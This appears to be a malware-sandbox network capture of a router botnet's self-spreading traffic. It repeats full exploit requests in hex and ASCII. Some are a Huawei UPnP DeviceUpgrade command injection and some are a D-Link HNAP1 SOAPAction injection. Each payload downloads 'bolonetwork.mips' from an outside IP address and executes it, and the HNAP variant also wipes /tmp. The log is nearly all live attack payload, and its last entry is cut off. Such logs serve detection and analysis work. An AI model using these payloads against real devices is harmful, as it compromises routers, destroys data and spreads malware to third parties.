Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: 